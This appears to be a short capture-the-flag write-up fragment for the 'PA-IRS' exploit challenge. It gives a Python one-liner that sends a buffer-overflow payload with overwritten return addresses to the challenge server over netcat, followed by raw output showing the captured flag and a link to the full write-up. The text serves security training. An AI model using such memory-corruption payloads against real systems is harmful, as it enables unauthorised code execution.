python -c "import struct; print('1\n1\n1\n1\n1\n3\n1\n1\n1\n1\n' + '\x00' * 25 + struct.pack('i', 0x80489db) + struct.pack('i', 0x8048ac2))" | nc irs.pwn.republican 4127<span>  
...
</span>y/n
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flag�@{c4n�_1_g�@                  3t_a�@_r3f�@und}�
<span>
flag{c4n_1_g3t_a_r3fund}

Full writeup
</span>

Original writeup (https://github.com/Shwam/CTF-Writeups/blob/master/Hack%20the%20Vote/PA-IRS-Exploit100.MD).